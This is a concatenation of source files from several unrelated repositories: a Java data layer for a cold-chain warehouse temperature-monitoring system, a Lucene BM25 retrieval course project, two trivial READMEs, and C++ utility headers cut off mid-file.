zcg19960121/cold-chain-scala MeterEntity.java ```package com.zhcg.cold.common.common.admin.entity; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; import java.util.Date; /** * */ @Data @TableName("cz_meter") public class MeterEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 设备主键 */ @TableId private String id; /** * 设备编码 */ private String metercode; /** * 设备名称 */ private String metername; /** * 主机Id */ private String hostid; /** * 主机编码 */ private String hostcode; /** * 主机名称 */ private String hostname; /** * 仓库id */ private String houseid; /** * 仓库编码 */ private String housecode; /** * 仓库名称 */ private String housename; /** * 公司id */ private String companyid; /** * 公司名称 */ private String companyname; /** * 设备状态: 1-在用,0-停用,2-异常 */ private String meterstatus; /** * 温度上限 */ private String maxtem; /** * 温度下限 */ private String mintem; /** * 湿度上限 */ private String maxhum; /** * 湿度下限 */ private String minhum; /** * 采集间隔(秒) */ private Integer meterinterval; /** * 备注信息 */ private String remarks; /** * 创建时间 */ private Date createdtime; /** * 修改时间 */ private Date updatetime; } ``` HostDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.admin.entity.HostEntity; import org.apache.ibatis.annotations.Mapper; /** * 主机表 * */ @Mapper public interface HostDao extends BaseMapper<HostEntity> { } ``` HostEntity.java ```package com.zhcg.cold.common.common.admin.entity; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; import java.util.Date; /** * 主机表 * */ @Data @TableName("cz_host") public class HostEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @TableId private String id; /** * 主机编码 */ private String hostcode; /** * 主机名称 */ private String hostname; /** * 仓库id */ private String houseid; /** * 仓库编码 */ private String housecode; /** * 仓库名称 */ private String housename; /** * 主机状态:1-正常,0-停用 */ private String hoststatus; /** * 主机型号 */ private String hostmodel; /** * sim卡号 */ private String simcode; /** * 创建时间 */ private Date createdtime; /** * 修改时间 */ private Date updatetime; } ``` WarehouseEntity.java ```package com.zhcg.cold.common.common.admin.entity; import com.baomidou.mybatisplus.annotation.TableField; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; import java.math.BigDecimal; import java.util.Date; import java.util.Map; /** * 仓库表 * */ @Data @TableName("cz_warehouse") public class WarehouseEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @TableId private String id; /** * 仓库编码 */ private String housecode; /** * 仓库名称 */ private String housename; /** * 仓库地址 */ private String houseaddress; /** * 仓库类型, 1:冷库,2:恒温库 * */ private String housetype; /** * 所属公司Id */ private String companyid; /** * 公司名称 */ private String companyname; /** * 负责人 */ private String principalname; /** * 负责人电话 */ private String principaltel; /** * 经度 */ private BigDecimal longitude; /** * 纬度 */ private BigDecimal latitude; /** * 库房面积 */ private Double areasize; /** * 状态:1-正常,0-空库 */ private String housestatus; /** * 创建时间 */ private Date createdtime; /** * 修改时间 */ private Date updatetime; @TableField(exist = false) private Map<String, String> markerPoint; } ``` MessageDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.netty.entity.MessageEntity; import org.apache.ibatis.annotations.Mapper; @Mapper public interface MessageDao extends BaseMapper<MessageEntity> { } ``` WarehouseDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.admin.entity.WarehouseEntity; import org.apache.ibatis.annotations.Mapper; /** * 仓库表 * */ @Mapper public interface WarehouseDao extends BaseMapper<WarehouseEntity> { } ``` MonitorDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.admin.entity.MonitorEntity; import org.apache.ibatis.annotations.Mapper; /** * * */ @Mapper public interface MonitorDao extends BaseMapper<MonitorEntity> { } ``` OperationLog.java ```package com.zhcg.cold.common.common.admin.entity; import lombok.Data; @Data public class OperationLog { private String id; private String name; private String portrait; private String operationTime; private String storehouse; private String msg; } ``` MeterDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.admin.entity.MeterEntity; import org.apache.ibatis.annotations.Mapper; /** * * */ @Mapper public interface MeterDao extends BaseMapper<MeterEntity> { } ``` MessageEntity.java ```package com.zhcg.cold.common.common.netty.entity; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; @Data @TableName("cz_message_realtime") public class MessageEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 设备编码 */ private String metercode; /** * 设备主键 */ private String meterid; /** * 设备名称 */ private String metername; /** * 主机Id */ private String hostid; /** * 主机编码 */ private String hostcode; /** * 主机名称 */ private String hostname; /** * 仓库id */ private String houseid; /** * 仓库编码 */ private String housecode; /** * 仓库名称 */ private String housename; /** * 公司id */ private String companyid; /** * 公司名称 */ private String companyname; /** * 温度 */ private int tem; /** * 温度上限 */ private int maxtem; /** * 温度下限 * */ private int mintem; /** * 湿度 */ private int hum; /** * 湿度上限 */ private int maxhum; /** * 湿度下限 */ private int minhum; /** * 温度状况: 1:高温, 0: 正常, -1: 低温 */ private int temalert; /** * 湿度状况: 1:高湿, 0: 正常, -1: 低湿 */ private int humalert; /** * 状态: 1-在用,0-停用,2-异常 */ private int state; /** * 经度 */ private String lon; /** * 维度 */ private String lat; /** * 当前时间 */ private String curtime; /** * 测试报文 * @return */ public String deviceMessage(){ StringBuffer sb = new StringBuffer(); sb.append("SHT"); sb.append("|").append(this.getMetercode()); sb.append("|").append(this.getTem()); sb.append("|").append(this.getHum()); sb.append("|").append(this.getState()); sb.append("|").append(this.getLon()); sb.append("|").append(this.getLat()); sb.append("|").append(this.getCurtime()); sb.append("|").append("SH5lb1.2.1R"); return sb.toString(); } } ``` CompanyDao.java ```package com.zhcg.cold.common.common.admin.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.admin.entity.CompanyEntity; import org.apache.ibatis.annotations.Mapper; /** * 企业信息表 * */ @Mapper public interface CompanyDao extends BaseMapper<CompanyEntity> { } ``` MonitorEntity.java ```package com.zhcg.cold.common.common.admin.entity; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; @Data @TableName("cz_monitor") public class MonitorEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @TableId private String id; /** * 监控人员 */ private String username; /** * 人员电话 */ private String userphone; /** * 预警类型, 0:温湿度,1:温度,2:湿度 */ private String monitorstate; /** * 监控主机id */ private String hostid; /** * 监控主机编码 */ private String hostcode; /** * 监控主机名称 */ private String hostname; } ``` SysUserTokenDao.java ```package com.zhcg.cold.common.common.user.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.user.entity.SysUserTokenEntity; import org.apache.ibatis.annotations.Mapper; /** * 系统用户Token * * */ @Mapper public interface SysUserTokenDao extends BaseMapper<SysUserTokenEntity> { SysUserTokenEntity queryByToken(String token); void deleteByToken(String token); } ``` CompanyEntity.java ```package com.zhcg.cold.common.common.admin.entity; import com.baomidou.mybatisplus.annotation.TableId; import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; import java.io.Serializable; import java.util.Date; /** * 企业信息表 * */ @Data @TableName("cz_company") public class CompanyEntity implements Serializable { private static final long serialVersionUID = 1L; /** * 主键 */ @TableId private String id; /** * 企业名称 */ private String company; /** * 企业简称 */ private String abbreviation; /** * 企业编号 */ private String companynumber; /** * 公司地址 */ private String companyaddress; /** * 公司电话 */ private String companyphone; /** * 质量管理员 */ private String managementname; /** * 质管员电话 */ private String managementphone; /** * 负责人姓名 */ private String leader; /** * 负责人电话 */ private String leaderphone; /** * 网站 */ private String webaddress; /** * 备注 */ private String message; /** * 企业类型 */ private String companytype; /** * 创建时间 */ private Date createdtime; /** * 修改时间 */ private Date updatetime; } ``` SysUserDao.java ```package com.zhcg.cold.common.common.user.dao; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.zhcg.cold.common.common.user.entity.SysUserEntity; import org.apache.ibatis.annotations.Mapper; /** * 系统用户 * * */ @Mapper public interface SysUserDao extends BaseMapper<SysUserEntity> { /** * 根据用户名,查询系统用户 */ SysUserEntity queryByUserName(String username); } ```
zchen126/CS410_Project
zchen126/CS410_Project Baseline_Sim.java ```package com.cs.lucene; import java.io.IOException; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.lucene.analysis.Analyzer; import org.apache.lucene.analysis.standard.StandardAnalyzer; import org.apache.lucene.index.IndexReader; import org.apache.lucene.index.Term; import org.apache.lucene.queryparser.classic.ParseException; import org.apache.lucene.queryparser.classic.QueryParser; import org.apache.lucene.search.BooleanQuery; import org.apache.lucene.search.IndexSearcher; import org.apache.lucene.search.ScoreDoc; import org.apache.lucene.search.TermQuery; import org.apache.lucene.search.TopDocs; import org.apache.lucene.search.BooleanClause.Occur; import org.apache.lucene.search.similarities.BM25Similarity; import org.apache.lucene.search.similarities.LMDirichletSimilarity; import org.apache.lucene.search.similarities.LMJelinekMercerSimilarity; import org.apache.lucene.search.similarities.Similarity; import org.apache.lucene.util.Version; public class Baseline_Sim { //Get similarity for each review with key plots public static Map<String, Float> Sim_Search(IndexReader reader, IndexSearcher searcher, List<String> q_words, String sim_option) throws IOException, ParseException{ Map<String, Float> relevant_doc = new HashMap<String, Float>(); Similarity sim = null; switch (sim_option){ case "1": sim = new LMDirichletSimilarity(2000); break; case "2": sim = new LMJelinekMercerSimilarity((float) 0.7); break; case "3": sim = new BM25Similarity((float) 1.6, (float) 0.75); break; } searcher.setSimilarity(sim); Analyzer analyzer = new StandardAnalyzer(Version.LUCENE_41); QueryParser parser = new QueryParser(Version.LUCENE_41, "content", analyzer); BooleanQuery query = new BooleanQuery(); for (int i = 0 ; i < q_words.size() ; i ++){ String qw = q_words.get(i); Term t = new Term("content", qw); query.add(new TermQuery(t), Occur.SHOULD); } TopDocs results = searcher.search(query, reader.numDocs()); ScoreDoc[] hits = results.scoreDocs; for (int k = 0 ; k < hits.length ; k ++){ org.apache.lucene.document.Document doc2 = searcher.doc(hits[k].doc); String docno = doc2.get("doc_id"); relevant_doc.put(docno, hits[k].score); //System.out.println( docno + " , " + hits[k].score); } //System.out.println(reader.numDocs()); return relevant_doc; } } ``` Build_Index.java ```package com.cs.lucene; import java.awt.TextField; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URISyntaxException; import java.nio.charset.StandardCharsets; import org.apache.lucene.analysis.Analyzer; import org.apache.lucene.analysis.standard.StandardAnalyzer; import org.apache.lucene.document.Document; import org.apache.lucene.document.Field; import org.apache.lucene.document.FieldType; import org.apache.lucene.document.StringField; import org.apache.lucene.index.FieldInfo.IndexOptions; import org.apache.lucene.index.IndexWriter; import org.apache.lucene.index.IndexWriterConfig; import org.apache.lucene.index.IndexWriterConfig.OpenMode; import org.apache.lucene.store.Directory; import org.apache.lucene.store.FSDirectory; import org.apache.lucene.util.Version; public class Build_Index { /** * @param args * @throws URISyntaxException * @throws IOException */ public static void Build_index(String folder_path) throws URISyntaxException, IOException{ File folder = new File (folder_path); File[] listOfFiles = folder.listFiles(); String indexPath = "f:/cs410project/Transcripts_Index/THILI"; Directory dir = FSDirectory.open(new File(indexPath)); Analyzer analyzer = new StandardAnalyzer(Version.LUCENE_41); IndexWriterConfig iwc = new IndexWriterConfig(Version.LUCENE_41, analyzer); iwc.setOpenMode(OpenMode.CREATE); IndexWriter writer = new IndexWriter(dir, iwc); for (int i = 0; i < listOfFiles.length; i++) { File f = listOfFiles[i]; if (f.isFile() && f.getName().endsWith(".txt")) { InputStream is; try { is = new FileInputStream(f); BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8)); StringBuffer buffer = new StringBuffer(); String line; while((line = reader.readLine()) != null) { buffer.append(line); } if (buffer.length() > 0){ String text = buffer.toString(); buffer.delete(0, buffer.length()); TextTokenizer tt = new TextTokenizer(text.toCharArray()); text = tt.returnWord(text.length()); TextNormalizer tn = new TextNormalizer(); text = String.copyValueOf(tn.normalize(text.toCharArray())); Document doc = new Document(); Field idField = new StringField("doc_id", listOfFiles[i].getName().replaceAll(".txt", ""), Field.Store.YES); doc.add(idField); //Field contentField = new org.apache.lucene.document.TextField("content", text, Field.Store.YES); final FieldType ContentOptions = new FieldType(); ContentOptions.setIndexed(true); ContentOptions.setIndexOptions(IndexOptions.DOCS_AND_FREQS_AND_POSITIONS_AND_OFFSETS); ContentOptions.setStored(true); ContentOptions.setStoreTermVectors(true); ContentOptions.setTokenized(true); Field contentField = new Field("content", text, ContentOptions); doc.add(contentField); writer.addDocument(doc); } }catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); }catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } writer.close(); } public static void main(String[] args) throws URISyntaxException, IOException { // TODO Auto-generated method stub String folder_path = "f:/cs410data/transctipts"; Build_index(folder_path); } } ``` Main.java ```package com.cs.lucene; import java.io.BufferedWriter; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStreamWriter; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.lucene.analysis.Analyzer; import org.apache.lucene.analysis.standard.StandardAnalyzer; import org.apache.lucene.document.Document; import org.apache.lucene.index.DirectoryReader; import org.apache.lucene.index.Fields; import org.apache.lucene.index.IndexReader; import org.apache.lucene.index.MultiFields; import org.apache.lucene.index.Terms; import org.apache.lucene.index.TermsEnum; import org.apache.lucene.queryparser.classic.ParseException; import org.apache.lucene.queryparser.classic.QueryParser; import org.apache.lucene.search.IndexSearcher; import org.apache.lucene.store.FSDirectory; import org.apache.lucene.util.BytesRef; import org.apache.lucene.util.Version; public class Main { /** * @param args * @author SeleenaJ */ static Corpus CC = new Corpus(); static Baseline_Sim BS = new Baseline_Sim(); static Improved_BM25 IBM = new Improved_BM25(); static IndexReader reader_r; static IndexSearcher searcher_r; static IndexReader reader_t; static IndexSearcher searcher_t; // static IndexReader reader_c; // static IndexSearcher searcher_c; static Analyzer analyzer = new StandardAnalyzer(Version.LUCENE_41); static QueryParser parser = new QueryParser(Version.LUCENE_41, "content", analyzer); //Initial lucene searcher public static void Initial(String r_index_path, String t_index_path) throws IOException{ reader_r = DirectoryReader.open(FSDirectory.open(new File(r_index_path))); searcher_r = new IndexSearcher(reader_r); reader_t = DirectoryReader.open(FSDirectory.open(new File(t_index_path))); searcher_t = new IndexSearcher(reader_t); } // public static void E_Initial(String c_index_path) throws IOException{ // reader_c = DirectoryReader.open(FSDirectory.open(new File(c_index_path))); // searcher_c = new IndexSearcher(reader_c); // } //Get query static Map<String, Double>q_weight = new HashMap<String, Double>(); public static List<String> GetQuery(String film) throws IOException{ List<String> query_words = new ArrayList<String>(); Fields fields = MultiFields.getFields(reader_t); Terms terms = fields.terms("content"); Map<String, long[]> collection = CC.TWeight_Col(reader_t, terms); Map<String, Double> collection_idf = new HashMap<String, Double>(); for (String t : collection.keySet()){ long d = collection.get(t)[1]; Double idf = Math.log10((reader_t.numDocs() + 1) / d ); collection_idf.put(t, idf); } List<String> function_words = CC.Down_t_terms(150, collection_idf); Map<String, Integer> t_tf = new HashMap<String, Integer>(); for (int i = 0 ; i < reader_t.maxDoc() ; i ++){ Document doc = reader_t.document(i); String docId = doc.get("doc_id"); if (docId.matches(film)){ Terms rterms = reader_t.getTermVector(i, "content"); t_tf = CC.TF_Doc(rterms); } // Terms rterms = reader_t.getTermVector(i, "content"); // t_tf = CC.TF_Doc(rterms); } Map<String, Double> T_weight = new HashMap<String, Double>(); Map<String, Double> T_tf = new HashMap<String, Double>(); for (int j = 0 ; j < function_words.size() ; j ++){ if (t_tf.containsKey(function_words.get(j))) t_tf.remove(function_words.get(j)); } for (String tkey : t_tf.keySet()){ if (tkey.matches("Doc_Length")) continue; if (t_tf.get(tkey) != null) T_weight.put(tkey, 1.0 * t_tf.get(tkey)*collection_idf.get(tkey)); T_tf.put(tkey, 1.0 * t_tf.get(tkey)); } query_words = CC.Top_t_terms(5, T_tf); List<String> temp = CC.Top_t_terms(300, T_weight); int count = 0; for (int k = 0 ; k < temp.size() ; k ++){ if (query_words.contains(temp.get(k))) continue; else{ query_words.add(temp.get(k)); count ++; } if (count > 295) break; } for (int m = 0 ; m < query_words.size() ; m ++){ q_weight.put(query_words.get(m), T_tf.get(query_words.get(m))); } return query_words; } //WriteFile public static void writeFile(String lexeme, String filePath) { try { File file = new File(filePath); if (!file.exists()) { file.createNewFile(); } BufferedWriter output = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true))); output.write(lexeme + "\r\n"); output.close(); }catch(Exception e) { e.printStackTrace(); } } public static void GetCorpus (String film) throws IOException{ String towrite = ""; List<String> query_w = GetQuery(film); for (String Tkey : q_weight.keySet()){ int Tkey_tf = q_weight.get(Tkey).intValue(); for (int i = 0 ; i < Tkey_tf ; i ++){ towrite += Tkey + " "; } } writeFile(towrite, "f:/cs410data" + film + "_trans.txt"); } public static Map<String, Double> getCol_Weight (IndexReader reader) throws IOException{ Map<String, Double> result = new HashMap<String, Double>(); Fields fields = MultiFields.getFields(reader); Terms terms = fields.terms("content"); Map<String, long[]> collection = CC.TWeight_Col(reader, terms); for (String tkey : collection.keySet()){ long tf = collection.get(tkey)[0]; long df = collection.get(tkey)[1]; Double weight = 1.0 * tf * Math.log10((reader.numDocs() + 1) / df ); result.put(tkey, weight); } return result; } public static void main(String[] args) throws IOException, ParseException { // TODO Auto-generated method stub String r_index_path = "f:/cs410project/Reviews_Index/THILI"; String t_index_path = "f:/cs410project/Transcripts_Index/THILI"; Initial(r_index_path, t_index_path); /*BaseLine*/ List<String> query_w = GetQuery("THILI"); Map<String, Float> BM_sim = BS.Sim_Search(reader_r, searcher_r, query_w, "3"); Map<String, Float> JM_sim = BS.Sim_Search(reader_r, searcher_r, query_w, "2"); Map<String, Float> DIR_sim = BS.Sim_Search(reader_r, searcher_r, query_w, "1"); for (int i = 0 ; i < reader_r.maxDoc() ; i ++){ Document doc = reader_r.document(i); String docId = doc.get("doc_id"); String towrite_1 = ""; //DIR if (DIR_sim.containsKey(docId)) towrite_1 = docId + "," + DIR_sim.get(docId); else towrite_1 = docId + ",0"; writeFile(towrite_1, "f:/cs410data/Baseline_DIR.csv"); //JM String towrite_2 = ""; if (JM_sim.containsKey(docId)) towrite_2 = docId + "," + JM_sim.get(docId); else towrite_2 = docId + ",0"; writeFile(towrite_1, "f:/cs410data/Baseline_JM.csv"); String towrite_3 = ""; if (BM_sim.containsKey(docId)) towrite_3 = docId + "," + BM_sim.get(docId); else towrite_3 = docId + ",0"; writeFile(towrite_1, "f:/cs410data/Baseline_BM25.csv"); } /*End BaseLine*/ /*Improved_BM*/ int avgl = CC.avg_Length(reader_r); for (int j = 0 ; j < reader_r.maxDoc(); j ++ ){ Map<String, Double[]> r_tweight = new HashMap<String, Double[]>(); Double[] weight = new Double[3]; Document doc = reader_r.document(j); String docId = doc.get("doc_id"); Terms rterms = reader_r.getTermVector(j, "content"); if (rterms == null){ //System.out.println(docId + " , 0.0"); writeFile(docId + " , 0.0", "f:/cs410data/Improved_BM25.csv"); continue; } else{ Map<String, Integer> rtf_doc = CC.TF_Doc(rterms); Map<String, long[]> rweight_col = CC.TWeight_Col(reader_r, rterms); int docl = rtf_doc.get("Doc_Length"); for (String rtkey : rtf_doc.keySet()){ if (rtkey.matches("Doc_Length")) continue; int tf_d = rtf_doc.get(rtkey); long tf_c = rweight_col.get(rtkey)[0]; long df_c = rweight_col.get(rtkey)[1]; Double idf = Math.log10((reader_r.numDocs() + 1) / df_c ); weight[0] = 1.0*tf_d; weight[1] = 1.0 * tf_c; weight[2] = idf; r_tweight.put(rtkey, weight); } Double r_BM = IBM.BM25(0.5, 1.6, 0.75, 1.2, avgl, docl, r_tweight, q_weight); //System.out.println(docId + " , " + r_BM ); writeFile(docId + " , " + r_BM, "f:/cs410data/Improved_BM25.csv"); } } /*End Improved BM*/ } } ``` TextTokenizer.java ```package com.cs.lucene; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.InputStream; import java.net.URISyntaxException; import java.net.URL; import java.util.ArrayList; import java.util.List; import java.util.regex.Pattern; /** * TextTokenizer can split a sequence of text into individual word tokens. */ public class TextTokenizer { private List<String> words = new ArrayList<String>(); private int pos = 0; private int size = 0; private Pattern regex_ws = Pattern.compile("\\s+"); // YOU MUST IMPLEMENT THIS METHOD public TextTokenizer( char[] texts ) throws FileNotFoundException, URISyntaxException { URL resource = TextTokenizer.class.getResource("stop_words.txt"); File file = new File(resource.toURI()); FileInputStream fis = new FileInputStream(file); StopwordsRemover remover = new StopwordsRemover(fis); // this constructor will tokenize the input texts (usually it is a char array for a whole document) List<Character> a_word = new ArrayList<Character>(); int ix = 0; int len = texts.length; for(; ix < len; ++ix) { if(Character.isAlphabetic(texts[ix]) || texts[ix] == '-') { a_word.add(texts[ix]); if(ix == len - 1) { this.add_word(a_word); a_word.clear(); break; } } else { if(!remover.isStopword(a_word)) this.add_word(a_word); a_word.clear(); } } this.size = this.words.size(); } public String returnWord(int num){ String r_words = ""; int _n = 0; for (String word : this.words){ if(_n != 0) r_words += " "; r_words += word; if(num > -1 && _n > num) break; _n++; } return r_words; } // YOU MUST IMPLEMENT THIS METHOD public char[] nextWord() { // read and return the next word of the document; or return null if it is the end of the document char ret_v[] = null; if(pos < size) { ret_v = words.get(pos).toCharArray(); pos++; } return ret_v; } /** * Get document length * @param empty * @return int document length */ public int docLen() { return this.words.size(); } /** * * @param a_word */ private void add_word(List<Character> a_word) { if(a_word.size() > 0) { String w = ""; for(int j = 0; j < a_word.size(); ++j) w += a_word.get(j); this.words.add(w); } } } ``` Evl_Main.java ```package com.cs.evaluation; import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; public class Evl_Main { /** * @param args * @author SeleenaJ * As to Relevance, we use MAP to evaluate the performance. */ public static Double getMAP(Map<String, Integer> goldtruth, List<String> predict){ Double result = 0.0; int ith_reldoc = 0; int num_reldoc = 0; for (String dkey : goldtruth.keySet()){ if (goldtruth.get(dkey) == 1) num_reldoc ++; } System.out.println("Num of relevant docs: " + num_reldoc); for (int i = 0 ; i < num_reldoc ; i ++){ String doc_id = predict.get(i); if (goldtruth.containsKey(doc_id) && goldtruth.get(doc_id) == 1){ ith_reldoc ++; result += 1.0 * ith_reldoc/(i+1); } } result = result / num_reldoc; return result; } public static Map<String, Integer> Read_Gold (String filepath){ Map<String, Integer> gold = new HashMap<String, Integer>(); File f = new File(filepath); try { InputStream is = new FileInputStream(f); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { if (line.contains("Doc_ID")) continue; String[] temp = line.split(","); gold.put(temp[0], Integer.parseInt(temp[1])); } }catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return gold; } public static List<String> Read_Predict (String filepath){ List<String> predict = new ArrayList<String>(); File f = new File(filepath); try { InputStream is = new FileInputStream(f); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); String line; while((line = reader.readLine()) != null) { if (line.contains("Doc_ID")) continue; String[] temp = line.split(","); predict.add(temp[0]); } }catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return predict; } public static void main(String[] args) { // TODO Auto-generated method stub String gold_path = "f:/cs410data/Gold_THILI.csv"; //When you generate csv file for retrieved results, you need to sort them in excel file and then provide the path to here. String predict_path = "f:/cs410data/Baseline_BM25.csv"; Map<String, Integer> gold = Read_Gold(gold_path); List<String> predict = Read_Predict(predict_path); Double MAP = getMAP(gold, predict); System.out.println(MAP); } } ``` Improved_BM25.java ```package com.cs.lucene; import java.util.Map; public class Improved_BM25 { public static Double BM25 (Double landa, Double k1, Double b, Double k3, Integer Avg_d, Integer r_d, Map<String, Double[]> r_tweight, Map<String, Double>q_weight){ Double result = 0.0; for (String word : q_weight.keySet()){ if (r_tweight.containsKey(word)){ Double tf_q = q_weight.get(word); Double tf_c = r_tweight.get(word)[0]; Double tf_d = r_tweight.get(word)[1]; Double idf = r_tweight.get(word)[2]; Double w_BM_tf_d = landa * (k1+1) * tf_d / (k1*((1-b) + b * (r_d / Avg_d)) + tf_d); Double w_BM_tf_c = (1-landa) * (k1 + 1) * tf_c / (k1 + tf_c); Double w_BM_tf_q = (k3 + 1) * tf_q / (k3 + tf_q); Double w_BM25 = idf * (w_BM_tf_d + w_BM_tf_c)* w_BM_tf_q; result += w_BM25; } } return result; } } ``` Corpus.java ```package com.cs.lucene; import java.io.IOException; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import org.apache.lucene.index.Fields; import org.apache.lucene.index.IndexReader; import org.apache.lucene.index.MultiFields; import org.apache.lucene.index.Term; import org.apache.lucene.index.Terms; import org.apache.lucene.index.TermsEnum; import org.apache.lucene.util.BytesRef; public class Corpus { //Get tf,df for each term in whole collection public static Map<String, long[]> TWeight_Col(IndexReader reader, Terms terms){ Map<String, long[]> TWC = new HashMap<String, long[]>(); try { TermsEnum termsEnum = terms.iterator(null); BytesRef text = null; while ((text = termsEnum.next()) != null) { String term = text.utf8ToString(); long[] tfdf= new long[2]; Term termInstance = new Term("content", term); long termFreq = reader.totalTermFreq(termInstance); long termdf = reader.docFreq(termInstance); tfdf[0] = termFreq; tfdf[1] = termdf; TWC.put(term, tfdf); } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return TWC; } //Get tf for each term within a document public static Map<String, Integer> TF_Doc (Terms terms) throws IOException{ Map<String, Integer> tf_d = new HashMap<String, Integer>(); int Doc_length = 0; TermsEnum termsEnum = terms.iterator(null); BytesRef text = null; while ((text = termsEnum.next()) != null) { String term = text.utf8ToString(); int freq = (int) termsEnum.totalTermFreq(); Doc_length += freq; tf_d.put(term, freq); } tf_d.put("Doc_Length", Doc_length); return tf_d; } //Get Avg_Doc_Length public static Integer avg_Length (IndexReader reader) throws IOException{ int avgl = 0; long suml = 0; Fields fields = MultiFields.getFields(reader); Terms terms = fields.terms("content"); try { TermsEnum termsEnum = terms.iterator(null); BytesRef text = null; while ((text = termsEnum.next()) != null) { String term = text.utf8ToString(); Term termInstance = new Term("content", term); long termFreq = reader.totalTermFreq(termInstance); suml += termFreq; } } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } avgl = (int) suml / reader.numDocs(); return avgl; } // Get Top K words based on term_weight public static List<String> Top_t_terms (int topn , Map<String, Double> t_terms){ List<String> Top_t_terms = new ArrayList<String>(); int count = 0; Map<String, Double> sorted_t_terms = sortByValues(t_terms, "U"); for (String skey : sorted_t_terms.keySet()){ Top_t_terms.add(skey); count ++; if (count == topn) break; } return Top_t_terms; } public static List<String> Down_t_terms (int downn , Map<String, Double> t_terms){ List<String> Top_t_terms = new ArrayList<String>(); int count = 0; Map<String, Double> sorted_t_terms = sortByValues(t_terms, "D"); for (String skey : sorted_t_terms.keySet()){ Top_t_terms.add(skey); count ++; if (count == downn) break; } return Top_t_terms; } // Sort HashMap by value public static HashMap sortByValues(Map<String, Double> t_terms_weight, String U_D) { List list = new LinkedList(t_terms_weight.entrySet()); // Defined Custom Comparator here Collections.sort(list, new Comparator() { public int compare(Object o1, Object o2) { return ((Comparable) ((Map.Entry) (o1)).getValue()) .compareTo(((Map.Entry) (o2)).getValue()); } }); if (U_D.matches("U")) Collections.reverse(list); // Here I am copying the sorted list in HashMap // using LinkedHashMap to preserve the insertion order HashMap sortedHashMap = new LinkedHashMap(); for (Iterator it = list.iterator(); it.hasNext();) { Map.Entry entry = (Map.Entry) it.next(); sortedHashMap.put(entry.getKey(), entry.getValue()); } return sortedHashMap; } } ```
zchen36/Helo_world
zchen36/Helo_world README.md ```# Helo_world just a test yes, I made some changes ```
zcjcool/movie_project
zcjcool/movie_project README.md ```# movie_project one good movie project ```
zcoder/gpl-vote
zcoder/gpl-vote pthread_cpu_time.h ```/* * File: pthread_cpu_time.h * Author: zhenka * * Created on 15 Декабрь 2011 г., 21:30 * * Link with "-lrt" */ #ifndef PTHREAD_CPU_TIME_H #define PTHREAD_CPU_TIME_H #include <time.h> #include <pthread.h> #include <unistd.h> #include "../cmn/exception.h" inline timespec get_pthread_time_mark(const pthread_t thread = pthread_self()) { clockid_t cid; timespec ts; int ret = pthread_getcpuclockid(thread, &cid); if (ret != 0) throw cmn::exception( "Exception: pthread_getcpuclockid" ); if (clock_gettime(cid, &ts) == -1) throw; return ts; } inline int64_t get_time_diff_nsec(const timespec& b, const timespec& e) { return (e.tv_sec*1000000 + e.tv_nsec) - (b.tv_sec*1000000 + b.tv_nsec); } inline int32_t get_time_diff_sec(const timespec& b, const timespec& e) { return e.tv_sec - b.tv_sec; } #endif /* PTHREAD_CPU_TIME_H */ ``` istring.h ```#ifndef EXT_ISTRINGH #define EXT_ISTRINGH #include "idata.h" #include "strtoint.h" namespace ext { class istring: virtual public idata { public: virtual inline strtoint ToInt() const; }; } //namespace ext #include "istring.inc" #endif ``` system_0.h ```#ifndef NET_PROTO_SYSTEM_0H #define 